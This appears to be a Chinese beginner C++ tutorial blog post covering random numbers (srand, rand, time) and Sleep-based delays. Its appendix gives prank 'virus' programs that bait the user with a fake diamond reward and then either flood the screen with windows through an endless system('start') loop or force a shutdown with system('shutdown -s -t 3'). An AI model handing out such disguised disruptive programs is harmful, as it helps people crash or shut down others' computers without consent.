c++ ——写点游戏(补漏
大家好,我是cht(@cht),这一期我们主要来补补上一期忘记说的。(本期和上期一样,请用windows电脑或处理器!!!)
一、随机数。
随机数大家应该都不陌生,主要用三个语句:
time(0);
srand();
rand();
那具体怎么生成随机数呢?
第一步:
srand(time(0));
time(0)
需要头文件#include<ctime>
(上期开头说过)
srand
负责生成随机数种子,只要里面的数不一样,生成的数就不会一样。
time可以生成从1970年1月1日到现在的秒数。
所以time的值每次不同,srand(time(0))
的值也就每次不同 。
第二步:
rand() % i + 1;//生成1-i的随机数。
实用小程序:
#include<stdlib.h>
#include<conio.h>
using namespace std;
int main()
{
cout << "欢迎来到随机数生成器" << endl;
Sleep(1000);
cout << "按1键退出" <<endl;
Sleep(1000);
for(;;)
{
cout << "请按任意键继续" << endl;
char op;
op = getch();
while(op == ' ')
{
op = getch();
}
cout << "生成限制:1-";
int n;
cin >> n;
srand(time(0));
int s = rand() % n + 1;
cout << endl << s << endl;
Sleep(1000);
cout << "要继续吗?" << endl;
op = getch();
while(op == ' ')
{
op = getch();
}
if(op == '1') break;
Sleep(1000);
}
cout << "谢谢使用,再见" << endl;
return 0;
}
看完后可以尝试把它改成窗口。(答案下期公布。)
2、Sleep
先说个没有window电脑的暴力做法(用Linux会TLE)。
#include<bits/stdc++.h>
using namespace std;
int main()
{
cout << "3" << endl;
long long int n = 0;
for(int i = 0; i < 1000000000; i ++)n += i;
cout << "2" << endl;
for(int i = 0; i < 1000000000; i ++)n -= i;
cout << "1" << endl;
for(int i = 0; i < 1000000000; i ++)n += i;
cout << "开始!" << endl;
for(int i = 0; i < 1000000000; i ++)n -= i;
return 0;
}
用循环做延时hh。
但这不是正版。
这才是:
#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main()
{
cout << "3" << endl;
Sleep(1000);
cout << "2" << endl;
Sleep(1000);
cout << "1" << endl;
Sleep(1000);
cout << "开始!" << endl;
Sleep(1000);
return 0;
}
大家还可以做个窗口倒计时(10,9,8,7……1,0),下期开头给大家分享代码。
附录:如何制作小病毒(请勿制作,只是开个玩笑)
1、system("start")
此代码的作用是创建新的窗口(你明白的),可以用于开玩笑或卡崩电脑。
开玩笑:
#include <stdio.h>
#include <windows.h>
#include <stdlib.h>
#include <conio.h>
#include <iostream>
using namespace std;
int main()
{
cout << "按1键获得99999钻石!!!" ;
char op;
op = getch();
while(op != '1')
{
op = getch();
}
for(int i = 0; i < 50; i ++)
{
system("start");
}
return 0;
}
卡崩电脑(最好不要尝试……):
#include <stdio.h>
#include <windows.h>
#include <stdlib.h>
#include <conio.h>
#include <iostream>
using namespace std;
int main()
{
cout << "按1键获得99999999钻石!!!" ;
char op;
op = getch();
while(op != '1')
{
op = getch();
}
for(;;)
{
system("start");
}
return 0;
}
2、怎么让电脑自动关机
答案是用system("shutdown -s -t 1200");
-t后面是关机秒数,改成0立马关机,下面是例子:
#include <stdio.h>
#include <windows.h>
#include <stdlib.h>
#include <conio.h>
#include <iostream>
using namespace std;
int main()
{
cout << "按1键获得99999999钻石!!!" ;
char op;
op = getch();
while(op != '1')
{
op = getch();
}
system("shutdown -s -t 3");
cout << "哈哈哈!" << endl;
cout << "3" << endl;
Sleep(1000);
cout << 2 << endl;
Sleep(1000);
cout << "1" << endl;
cout << "哈哈哈!!!" << endl;
return 0;
}
额em。。。
emmmmmm
卡崩电脑对导致电脑损坏吗(不敢尝试)
这个我没试过,但关机不会
建议不要试卡崩,可以试试开玩笑那个,而且要用
DEVC++
ORZ
tql